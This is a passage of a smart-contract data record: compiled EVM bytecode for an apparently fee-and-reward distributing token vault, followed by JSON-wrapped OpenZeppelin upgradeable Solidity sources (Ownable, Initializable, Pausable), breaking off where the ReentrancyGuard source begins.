0e51b8152600401610dab90614ec0565b6000805460ff191660011790558015612818576000805461ff0019166101001790555b612826878787878787610d55565b6303b53800610110558015610e98576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb384740249890602001610e8f565b612879612b55565b6001600160a01b0381166128de5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610dab565b6128e781613ab7565b50565b6128f2612b55565b612710811115612915576040516358d620b360e01b815260040160405180910390fd5b60d955565b306001600160a01b031663635202746040518163ffffffff1660e01b8152600401602060405180830381865afa158015612958573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061297c9190614e2b565b60000361299c57604051630da1ec0160e31b815260040160405180910390fd5b60db54158015906129b6575060dc546001600160a01b0316155b806129ca575060dd546001600160a01b0316155b156129e857604051630ad13b3360e21b815260040160405180910390fd5b60d254604051600162525fcd60e11b0319815260009182916001600160a01b039091169063ff5b406690612a249030908890889060040161520b565b6000604051808303816000875af1158015612a43573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612a6b919081019061529f565b91509150600061271060db5484612a8291906152e5565b612a8c9190615312565b60dc5460ca54919250612aac916001600160a01b039081169116836132ff565b600061271060da5485612abf91906152e5565b612ac99190615312565b60ca54909150612ae3906001600160a01b031633836132ff565b600081612af0848761513b565b612afa919061513b565b60dd5460ca54919250612b1a916001600160a01b039081169116836132ff565b7f3dceb43957dc72b04d40eaf449ac8b867ea8d60ed7d860e9ba977921ab89b46685888887878787604051610e8f9796959493929190615326565b6033546001600160a01b03163314611af75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610dab565b801580612c285750604051636eb1769f60e11b81526001600160a01b0384169063dd62ed3e90612be59030908690600401614fb9565b602060405180830381865afa158015612c02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c269190614e2b565b155b612c935760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b6064820152608401610dab565b6120aa8363095ea7b360e01b8484604051602401612cb292919061502e565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152614204565b6000611a2461011054426120269190615073565b600054610100900460ff16612d245760405162461bcd60e51b8152600401610dab90615397565b611af76142d6565b600054610100900460ff16612d535760405162461bcd60e51b8152600401610dab90615397565b611af7614306565b600054610100900460ff16612d825760405162461bcd60e51b8152600401610dab90615397565b611af761432d565b60975460ff1615611af75760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610dab565b6001600160a01b038216600090815260d56020526040902081158015612e05575060d0546004820154612e03904261513b565b105b15612e0f57505050565b60c9546040516370a0823160e01b81526000916001600160a01b0316906370a0823190612e4090309060040161487d565b602060405180830381865afa158015612e5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e819190614e2b565b90504282600401819055506000846001600160a01b031663c4f59f9b6040518163ffffffff1660e01b8152600401600060405180830381865afa158015612ecc573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612ef4919081019061517d565b9050600081516001600160401b03811115612f1157612f11614928565b604051908082528060200260200182016040528015612f3a578160200160208202803683370190505b50905060005b82518110156130755760006001600160a01b0316838281518110612f6657612f66615047565b60200260200101516001600160a01b031603612fc05760ca5483516001600160a01b0390911690849083908110612f9f57612f9f615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b828181518110612fd257612fd2615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b8152600401613005919061487d565b602060405180830381865afa158015613022573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130469190614e2b565b82828151811061305857613058615047565b60209081029190910101528061306d8161514e565b915050612f40565b50604051639262187b60e01b81526001600160a01b03871690639262187b906130a290309060040161487d565b6000604051808303816000875af11580156130c1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526130e991908101906153e2565b5060005b82518110156132735760006001600160a01b031683828151811061311357613113615047565b60200260200101516001600160a01b03160361316d5760ca5483516001600160a01b039091169084908390811061314c5761314c615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b600083828151811061318157613181615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b81526004016131b4919061487d565b602060405180830381865afa1580156131d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131f59190614e2b565b9050600083838151811061320b5761320b615047565b60200260200101518261321e919061513b565b905080801561325d5761325d8a87868151811061323d5761323d615047565b602090810291909101015160018b01546001600160a01b03168585613b09565b505050808061326b9061514e565b9150506130ed565b5060c9546040516370a0823160e01b815260009185916001600160a01b03909116906370a08231906132a990309060040161487d565b602060405180830381865afa1580156132c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132ea9190614e2b565b6132f4919061513b565b9050610e9881613f90565b6120aa8363a9059cbb60e01b8484604051602401612cb292919061502e565b6040516001600160a01b03808516602483015283166044820152606481018290526133569085906323b872dd60e01b90608401612cb2565b50505050565b60c9546040516370a0823160e01b815260009182916001600160a01b03909116906370a082319061339190309060040161487d565b602060405180830381865afa1580156133ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133d29190614e2b565b905060005b85518110156138d65760d560008783815181106133f6576133f6615047565b6020908102919091018101516001600160a01b031682528101919091526040016000206005015460ff1661343d57604051636a325bd960e11b815260040160405180910390fd5b600060d5600088848151811061345557613455615047565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000209050428160040181905550600087838151811061349c5761349c615047565b60200260200101516001600160a01b031663c4f59f9b6040518163ffffffff1660e01b8152600401600060405180830381865afa1580156134e1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052613509919081019061517d565b9050600081516001600160401b0381111561352657613526614928565b60405190808252806020026020018201604052801561354f578160200160208202803683370190505b50905060005b825181101561368a5760006001600160a01b031683828151811061357b5761357b615047565b60200260200101516001600160a01b0316036135d55760ca5483516001600160a01b03909116908490839081106135b4576135b4615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b8281815181106135e7576135e7615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b815260040161361a919061487d565b602060405180830381865afa158015613637573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061365b9190614e2b565b82828151811061366d5761366d615047565b6020908102919091010152806136828161514e565b915050613555565b5088848151811061369d5761369d615047565b60200260200101516001600160a01b0316639262187b306040518263ffffffff1660e01b81526004016136d0919061487d565b6000604051808303816000875af11580156136ef573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261371791908101906153e2565b5060005b82518110156138bf57600083828151811061373857613738615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b815260040161376b919061487d565b602060405180830381865afa158015613788573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137ac9190614e2b565b905060008383815181106137c2576137c2615047565b6020026020010151826137d5919061513b565b90508060008181036137ea57505050506138ad565b60c95487516001600160a01b039091169088908790811061380d5761380d615047565b60200260200101516001600160a01b03160361384d5761271060e1548461383491906152e5565b61383e9190615312565b905061384a818461513b565b91505b613857818c615073565b9a506138a88e8a8151811061386e5761386e615047565b602002602001015188878151811061388857613888615047565b602090810291909101015160018b01546001600160a01b03168686613b09565b505050505b806138b78161514e565b91505061371b565b5050505080806138ce9061514e565b9150506133d7565b5060c9546040516370a0823160e01b8152600091849184916001600160a01b0316906370a082319061390c90309060040161487d565b602060405180830381865afa158015613929573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061394d9190614e2b565b613957919061513b565b613961919061513b565b905061396c81613f90565b82156117f75760c95460e05460405163095ea7b360e01b81526001600160a01b039283169263095ea7b3926139a892911690879060040161502e565b6020604051808303816000875af11580156139c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139eb9190615416565b5060e05460c95460405163187179c960e11b81526001600160a01b039182166004820152602481018690526044810187905287821660648201529116906330e2f39290608401600060405180830381600087803b158015613a4b57600080fd5b505af1158015613a5f573d6000803e3d6000fd5b50505050505050505050565b613a73614360565b6097805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b604051613aad919061487d565b60405180910390a1565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b8015613f895760c9546001600160a01b0390811690851603613ccc5760005b60d854811015613cc657600060d88281548110613b4757613b47615047565b906000526020600020906002020190508060010160169054906101000a900460ff1615613cb357805460009061271090613b8190876152e5565b613b8b9190615312565b9050613b97818561513b565b60018301549094508190600160a01b900460ff16613c77576001830154600160a81b900460ff16613c5b576001830154613bde906001600160a01b038a8116911683612baf565b60018301546040516347e7a41160e11b81526001600160a01b0390911690638fcf482290613c129084908c90600401615433565b6020604051808303816000875af1158015613c31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c559190615416565b50613c77565b6001830154613c77906001600160a01b038a81169116836132ff565b600183015460405160008051602061555f83398151915291613ca8918c916001600160a01b0316908c90869061544a565b60405180910390a150505b5080613cbe8161514e565b915050613b28565b50613ecb565b600060d954118015613ce8575060de546001600160a01b031615155b15613ecb5760de5460405163d42ac64360e01b81526000916001600160a01b03169063d42ac64390613d1e90899060040161487d565b602060405180830381865afa158015613d3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613d5f9190614e2b565b60de546040516315895f4760e31b8152600481018390529192506001600160a01b03169063ac4afa3890602401606060405180830381865afa158015613da9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613dcd9190615474565b6020015115613ec957600061271060d95485613de991906152e5565b613df39190615312565b9050613dff818461513b565b60de54909350613e1c906001600160a01b03888116911683612baf565b60de546040516317be9a5d60e31b815260016004820152602481018490526001600160a01b038881166044830152606482018490529091169063bdf4d2e890608401600060405180830381600087803b158015613e7857600080fd5b505af1158015613e8c573d6000803e3d6000fd5b505060de5460405160008051602061555f8339815191529350613ebf92508a916001600160a01b0316908a90869061544a565b60405180910390a1505b505b613ee06001600160a01b038516846000612baf565b613ef46001600160a01b0385168483612baf565b6040516347e7a41160e11b81526001600160a01b03841690638fcf482290613f229084908890600401615433565b6020604051808303816000875af1158015613f41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f659190615416565b5060008051602061555f833981519152858486846040516116bf949392919061544a565b5050505050565b60008082156120aa57613fa2836143a9565b905060005b60d85481101561402657600060d88281548110613fc657613fc6615047565b906000526020600020906002020190508060010160169054906101000a900460ff168015613fff57506001810154600160a01b900460ff165b156140135780546140109085615073565b93505b508061401e8161514e565b915050613fa7565b5060005b60d85481101561335657600060d8828154811061404957614049615047565b906000526020600020906002020190508060010160169054906101000a900460ff16801561408257506001810154600160a01b900460ff165b1561419a57600061271085612710846000015461409f91906152e5565b6140a99190615312565b6140b390866152e5565b6140bd9190615312565b90508015614198576001820154600160a81b900460ff1661417957600182015460cc546140f7916001600160a01b03918216911683612baf565b600182015460cc546040516347e7a41160e11b81526001600160a01b0392831692638fcf48229261413092869290911690600401615433565b6020604051808303816000875af115801561414f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906141739190615416565b50614198565b600182015460cc54614198916001600160a01b039182169116836132ff565b505b50806141a58161514e565b91505061402a565b600062093a806141bd81846154de565b610d259190615504565b6141cf612d8a565b6097805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258613aa03390565b6000614259826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166146579092919063ffffffff16565b8051909150156120aa57808060200190518101906142779190615416565b6120aa5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610dab565b600054610100900460ff166142fd5760405162461bcd60e51b8152600401610dab90615397565b611af733613ab7565b600054610100900460ff166118365760405162461bcd60e51b8152600401610dab90615397565b600054610100900460ff166143545760405162461bcd60e51b8152600401610dab90615397565b6097805460ff19169055565b60975460ff16611af75760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b6044820152606401610dab565b60cc546040516370a0823160e01b815260009182916001600160a01b03909116906370a08231906143de90309060040161487d565b602060405180830381865afa1580156143fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061441f9190614e2b565b60df549091506001600160a01b0316156145495760df5460c954614450916001600160a01b03918216911685612baf565b60df54604051634e3c485160e11b815260048101859052600060248201526001600160a01b0390911690639c7890a2906044016020604051808303816000875af11580156144a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906144c69190614e2b565b5060cc546040516370a0823160e01b815282916001600160a01b0316906370a08231906144f790309060040161487d565b602060405180830381865afa158015614514573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906145389190614e2b565b614542919061513b565b9150614651565b60cb5460c954614566916001600160a01b03918216911685612baf565b60cb54604051633188639160e11b815230600482015260248101859052600060448201526001600160a01b0390911690636310c72290606401600060405180830381600087803b1580156145b957600080fd5b505af11580156145cd573d6000803e3d6000fd5b505060cc546040516370a0823160e01b81528493506001600160a01b0390911691506370a082319061460390309060040161487d565b602060405180830381865afa158015614620573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906146449190614e2b565b61464e919061513b565b91505b50919050565b6060614666848460008561466e565b949350505050565b6060824710156146cf5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610dab565b6001600160a01b0385163b6147265760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610dab565b600080866001600160a01b03168587604051614742919061552f565b60006040518083038185875af1925050503d806000811461477f576040519150601f19603f3d011682016040523d82523d6000602084013e614784565b606091505b509150915061479482828661479f565b979650505050505050565b606083156147ae575081612441565b8251156147be5782518084602001fd5b8160405162461bcd60e51b8152600401610dab919061554b565b60008083601f8401126147ea57600080fd5b5081356001600160401b0381111561480157600080fd5b6020830191508360208260051b850101111561481c57600080fd5b9250929050565b6000806020838503121561483657600080fd5b82356001600160401b0381111561484c57600080fd5b614858858286016147d8565b90969095509350505050565b60006020828403121561487657600080fd5b5035919050565b6001600160a01b0391909116815260200190565b6001600160a01b03811681146128e757600080fd5b60008060008060008060c087890312156148bf57600080fd5b86356148ca81614891565b955060208701356148da81614891565b945060408701356148ea81614891565b935060608701356148fa81614891565b9250608087013561490a81614891565b915060a087013561491a81614891565b809150509295509295509295565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f191681016001600160401b038111828210171561496657614966614928565b604052919050565b600082601f83011261497f57600080fd5b81356001600160401b0381111561499857614998614928565b6149ab601f8201601f191660200161493e565b8181528460208386010111156149c057600080fd5b816020850160208301376000918101602001919091529392505050565b600080600080608085870312156149f357600080fd5b84356149fe81614891565b93506020850135925060408501356001600160401b0380821115614a2157600080fd5b614a2d8883890161496e565b93506060870135915080821115614a4357600080fd5b50614a508782880161496e565b91505092959194509250565b600060208284031215614a6e57600080fd5b813561244181614891565b600080600060608486031215614a8e57600080fd5b8335614a9981614891565b92506020840135614aa981614891565b929592945050506040919091013590565b60008060008060808587031215614ad057600080fd5b8435614adb81614891565b93506020850135614aeb81614891565b92506040850135614afb81614891565b9396929550929360600135925050565b60008060408385031215614b1e57600080fd5b8235614b2981614891565b91506020830135614b3981614891565b809150509250929050565b600080600080600060a08688031215614b5c57600080fd5b8535614b6781614891565b94506020860135935060408601359250606086013591506080860135614b8c81614891565b809150509295509295909350565b60008060008060408587031215614bb057600080fd5b84356001600160401b0380821115614bc757600080fd5b614bd3888389016147d8565b90965094506020870135915080821115614bec57600080fd5b50614bf9878288016147d8565b95989497509550505050565b60006001600160401b03821115614c1e57614c1e614928565b5060051b60200190565b60008060408385031215614c3b57600080fd5b8235614c4681614891565b91506020838101356001600160401b03811115614c6257600080fd5b8401601f81018613614c7357600080fd5b8035614c86614c8182614c05565b61493e565b81815260059190911b82018301908381019088831115614ca557600080fd5b928401925b82841015614cc357833582529284019290840190614caa565b80955050505050509250929050565b80151581146128e757600080fd5b60008060008060008060c08789031215614cf957600080fd5b86359550602087013594506040870135614d1281614891565b93506060870135614d2281614cd2565b92506080870135614d3281614cd2565b915060a087013561491a81614cd2565b600080600060408486031215614d5757600080fd5b8335925060208401356001600160401b03811115614d7457600080fd5b614d80868287016147d8565b9497909650939450505050565b60008060008060808587031215614da357600080fd5b843593506020850135614db581614891565b92506040850135614dc581614cd2565b91506060850135614dd581614cd2565b939692955090935050565b600080600060408486031215614df557600080fd5b83356001600160401b03811115614e0b57600080fd5b614e17868287016147d8565b909790965060209590950135949350505050565b600060208284031215614e3d57600080fd5b5051919050565b6001600160801b03858116825284166020820152606060408201819052810182905260006001600160fb1b03831115614e7c57600080fd5b8260051b808560808501379190910160800195945050505050565b600060208284031215614ea957600080fd5b81516001600160801b038116811461244157600080fd5b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b60005b83811015614f29578181015183820152602001614f11565b50506000910152565b60008151808452614f4a816020860160208601614f0e565b601f01601f19169290920160200192915050565b6001600160a01b03858116825284166020820152608060408201819052600090614f8a90830185614f32565b82810360608401526147948185614f32565b600060208284031215614fae57600080fd5b815161244181614891565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039384168152919092166020820152901515604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b6001600160a01b03929092168252602082015260400190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b80820180821115610d2557610d2561505d565b8183526000602080850194508260005b858110156150c45781356150a981614891565b6001600160a01b031687529582019590820190600101615096565b509495945050505050565b6040815260006150e3604083018688615086565b828103602084810191909152848252859181016000805b8781101561512c5784356001600160401b038116808214615119578384fd5b84525093830193918301916001016150fa565b50909998505050505050505050565b81810381811115610d2557610d2561505d565b6000600182016151605761516061505d565b5060010190565b634e487b7160e01b600052603160045260246000fd5b6000602080838503121561519057600080fd5b82516001600160401b038111156151a657600080fd5b8301601f810185136151b757600080fd5b80516151c5614c8182614c05565b81815260059190911b820183019083810190878311156151e457600080fd5b928401925b828410156147945783516151fc81614891565b825292840192908401906151e9565b6001600160a01b03841681526040602082018190526000906152309083018486615086565b95945050505050565b600082601f83011261524a57600080fd5b8151602061525a614c8183614c05565b82815260059290921b8401810191818101908684111561527957600080fd5b8286015b84811015615294578051835291830191830161527d565b509695505050505050565b600080604083850312156152b257600080fd5b8251915060208301516001600160401b038111156152cf57600080fd5b6152db85828601615239565b9150509250929050565b8082028115828204841417610d2557610d2561505d565b634e487b7160e01b600052601260045260246000fd5b600082615321576153216152fc565b500490565b8781526000602060c08184015261534160c08401898b615086565b838103604085015287518082528289019183019060005b8181101561537457835183529284019291840191600101615358565b50506060850197909752505050608081019290925260a090910152949350505050565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b606082015260800190565b6000602082840312156153f457600080fd5b81516001600160401b0381111561540a57600080fd5b61466684828501615239565b60006020828403121561542857600080fd5b815161244181614cd2565b9182526001600160a01b0316602082015260400190565b6001600160a01b039485168152928416602084015292166040820152606081019190915260800190565b60006060828403121561548657600080fd5b604051606081018181106001600160401b03821117156154a8576154a8614928565b60405282516154b681614891565b815260208301516154c681614cd2565b60208201526040928301519281019290925250919050565b60006001600160801b03838116806154f8576154f86152fc565b92169190910492915050565b6001600160801b038181168382160280821691908281146155275761552761505d565b505092915050565b60008251615541818460208701614f0e565b9190910192915050565b6020815260006124416020830184614f3256fe1d323f65a8226244cebc68e250fb7eef6eb01d6adf48b72e75a032af0716eb00a26469706673582212208f39581346ffa96f4ea781b758c2158add351ceebcd1c6915bf65a395debff2f64736f6c63430008130033 | {{
"language": "Solidity",
"sources": {
"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n function __Ownable_init() internal onlyInitializing {\n __Ownable_init_unchained();\n }\n\n function __Ownable_init_unchained() internal onlyInitializing {\n _transferOwnership(_msgSender());\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n _transferOwnership(newOwner);\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
},
"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.2;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts. Equivalent to `reinitializer(1)`.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * `initializer` is equivalent to `reinitializer(1)`, so a reinitializer may be used after the original\n * initialization step. This is essential to configure modules that are added through upgrades and that require\n * initialization.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized < type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n}\n"
},
"@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (security/Pausable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module which allows children to implement an emergency stop\n * mechanism that can be triggered by an authorized account.\n *\n * This module is used through inheritance. It will make available the\n * modifiers `whenNotPaused` and `whenPaused`, which can be applied to\n * the functions of your contract. Note that they will not be pausable by\n * simply including this module, only once the modifiers are put in place.\n */\nabstract contract PausableUpgradeable is Initializable, ContextUpgradeable {\n /**\n * @dev Emitted when the pause is triggered by `account`.\n */\n event Paused(address account);\n\n /**\n * @dev Emitted when the pause is lifted by `account`.\n */\n event Unpaused(address account);\n\n bool private _paused;\n\n /**\n * @dev Initializes the contract in unpaused state.\n */\n function __Pausable_init() internal onlyInitializing {\n __Pausable_init_unchained();\n }\n\n function __Pausable_init_unchained() internal onlyInitializing {\n _paused = false;\n }\n\n /**\n * @dev Modifier to make a function callable only when the contract is not paused.\n *\n * Requirements:\n *\n * - The contract must not be paused.\n */\n modifier whenNotPaused() {\n _requireNotPaused();\n _;\n }\n\n /**\n * @dev Modifier to make a function callable only when the contract is paused.\n *\n * Requirements:\n *\n * - The contract must be paused.\n */\n modifier whenPaused() {\n _requirePaused();\n _;\n }\n\n /**\n * @dev Returns true if the contract is paused, and false otherwise.\n */\n function paused() public view virtual returns (bool) {\n return _paused;\n }\n\n /**\n * @dev Throws if the contract is paused.\n */\n function _requireNotPaused() internal view virtual {\n require(!paused(), \"Pausable: paused\");\n }\n\n /**\n * @dev Throws if the contract is not paused.\n */\n function _requirePaused() internal view virtual {\n require(paused(), \"Pausable: not paused\");\n }\n\n /**\n * @dev Triggers stopped state.\n *\n * Requirements:\n *\n * - The contract must not be paused.\n */\n function _pause() internal virtual whenNotPaused {\n _paused = true;\n emit Paused(_msgSender());\n }\n\n /**\n * @dev Returns to normal state.\n *\n * Requirements:\n *\n * - The contract must be paused.\n */\n function _unpause() internal virtual whenPaused {\n _paused = false;\n emit Unpaused(_msgSender());\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
},
"@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol": {
